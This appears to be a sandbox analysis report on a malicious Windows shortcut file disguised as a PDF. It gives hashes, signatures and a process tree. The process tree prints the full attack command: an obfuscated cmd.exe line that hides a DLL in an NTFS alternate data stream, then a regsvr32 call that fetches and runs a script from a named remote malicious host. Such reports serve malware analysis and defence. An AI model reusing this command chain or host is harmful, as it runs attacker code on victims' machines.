Analysis
- max time kernel
149s - max time network
124s - platform
windows11-21h2_x64 - resource
win11-20260130-en - resource tags
arch:x64arch:x86image:win11-20260130-enlocale:en-usos:windows11-21h2-x64systemwindows - submitted
09/04/2026, 05:58
Static task
static1
Behavioral task
behavioral1
Sample
254186535_PDF.lNk.lnk
Resource
win10v2004-20260129-en
5 signatures
150 seconds
Behavioral task
behavioral2
Sample
254186535_PDF.lNk.lnk
Resource
win11-20260130-en
4 signatures
150 seconds
General
- Target 254186535_PDF.lNk.lnk
- Size 1KB
- Sample260409-gpcsaaax2r
- SHA256 d328933d97c084026ac13c6efea830feb5bfdc8ece251893a7e23b63d0c89d95
- MD5 50d10fe0939af84d62428c2365354e1a
- SHA1 2de8c431883898fd4c1aa72ca4be8da20cea11ee
- SHA512 92dc4ce099f918560447ccce913c37b046f1bf6c21af96af6b4613646027301dc5243d1ae523aa5224c0aa6caa4c100d4ab2994568e1f836289b555274b218ef
- TLSH T1D921D81C0915F4F1DDD2E9BAED077A500324490F865ABCC9840522217CF00229DE7C5F
- MD5 SHA1 SHA512 TLSH
Score
7/10
Malware Config
Signatures
- Loads dropped DLL 1 IoCs
pid Process 3132 regsvr32.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- NTFS ADS 1 IoCs
description ioc Process File created C:\Users\Admin\AppData\Local\Temp\pqN4.jpg:wHY4 cmd.exe - Suspicious use of WriteProcessMemory 2 IoCs
description pid Process procid_target PID 3680 wrote to memory of 4384 3680 cmd.exe 80 PID 4384 wrote to memory of 3132 4384 cmd.exe 81
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\254186535_PDF.lNk.lnk1⤵
- Suspicious use of WriteProcessMemory
PID:3680 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /IILJH:FYV1Y /IWXJ:WUBC /D/C "type scroBJ.dll > C:\Users\Admin\AppData\Local\Temp\pqN4.jpg:wHY4 && for %J in (vr3) do for %M in (reg) do start %MS%J2 /s /u /i:htTpS://proronsar.webtreinerbr.autos/?1/_x C:\Users\Admin\AppData\Local\Temp\pqN4.jpg:wHY4"2⤵
- NTFS ADS
- Suspicious use of WriteProcessMemory
PID:4384 -
C:\Windows\SyStem32\regsvr32.exeregSvr32 /s /u /i:htTpS://proronsar.webtreinerbr.autos/?1/_x C:\Users\Admin\AppData\Local\Temp\pqN4.jpg:wHY43⤵
- Loads dropped DLL
PID:3132
-
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
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Downloads
- Path C:\Users\Admin\AppData\Local\Temp\pqN4.jpg:wHY4
- Size 228KB
- SHA256 4e093aec31e60dfba66c6b6530b848ffd7d081bf281ae64d5aeaf7d66f0521e9
- MD5 96285c33acb657d52529411f79173936
- SHA1 85fa9c55328391191263f9ea609bc1734158dc5e
- SHA512 591fa3f8a88042854eb913f83375268320a5ab5cc6075413400c6b7917a69a7ecf4359b56204e5d389caebb80035727ff90f7d7eebc8262c32d0a06527ef49ae
- SSDEEP 6144:FVlSED/djwfA6tBrFB1u9VH6xwM+h5lnIcBkwGbv5HJ7bhYtO343LuXm2J1qHWMc:FVlSED/djwfA6tBxB1uXH6xwMk51IcBe
- TLSH T15F344A5DE2E85424E57B4139CA934616E7B37C26332192CF02A0C7BD6F2BBD57A38B44
- MD5 SHA1 SHA512 SSDEEP TLSH